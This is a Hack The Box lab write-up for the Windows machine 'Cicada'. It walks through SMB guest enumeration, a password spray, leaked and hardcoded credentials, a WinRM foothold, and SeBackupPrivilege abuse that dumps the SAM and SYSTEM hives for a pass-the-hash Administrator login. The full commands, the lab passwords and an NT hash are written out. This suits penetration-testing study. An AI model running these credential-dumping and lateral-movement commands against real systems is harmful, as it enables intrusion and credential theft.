← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Cicada.md

Property Value
IP 10.129.231.149
OS Windows Server 2022
Difficulty Easy
Date 2026-10-30
Source HTB

Nmap

nmap -sV -sC -p- 10.129.231.149

Open ports:

Enumeration

SMB

Null/guest session allowed share listing:

nxc smb $IP -u 'guest' -p '' --shares

Readable as guest: HR, IPC$. Pulled a file from HR:

smbclient //$IP/HR -N
mget *        # "Notice from HR.txt" has spaces — ls/get alone fails, mget prompts correctly

Notice from HR.txt contained the org’s default onboarding password: Cicada$M6Corpb*@Lp#nZp!8 — not tied to a specific user yet.

Other

impacket-lookupsid guest:@$IP → confirmed domain SID, validated guest access path before brute-forcing usernames.

Password spray of the HR default password against a userlist:

nxc smb $IP -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

Hit: michael.wrightson — reused the onboarding default.

With michael.wrightson’s access, re-enumerated shares. The DEV share appeared.

smbclient //$IP/DEV --user david.orelious

Logon failed using guessed password reuse for david.orelious, but the user’s description field, obtained through impacket-lookupsid / nxc user info, leaked a plaintext password:

david.orelious : aRt$Lp#7t*VQ!3

Authenticated to DEV as david.orelious and found Backup_script.ps1, which hardcoded a third credential:

emily.oscars : Q!3@Lp#M6b*7t*Vt

Foothold

Vulnerability: **Credential sprawl** — four separate leaks chained:

  1. HR notice default password
  2. Password reuse
  3. AD user description field
  4. Hardcoded credentials in a backup script

No single CVE was involved.

evil-winrm -i $IP -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Interactive shell as emily.oscars.

Privilege Escalation

Vector: **SeBackupPrivilege abuse**.

whoami /priv
# SeBackupPrivilege + SeRestorePrivilege both Enabled
reg save hklm\sam sam
reg save hklm\system system
download sam
download system
impacket-secretsdump -sam sam -system system LOCAL
# → Administrator NT hash: 2b87e7c93a3e8a0ea4a581937016f341
evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb

Result: pass-the-hash as Administrator.

Flags

Flag Value User
User a35c6769807676469881906xxxxxxxx emily.oscars
Root d100bc69d333649e6b1a568xxxxxxxxx Administrator

Techniques Used

Lessons Learned

← BACK TO WRITEUPSMAZEN. / HOME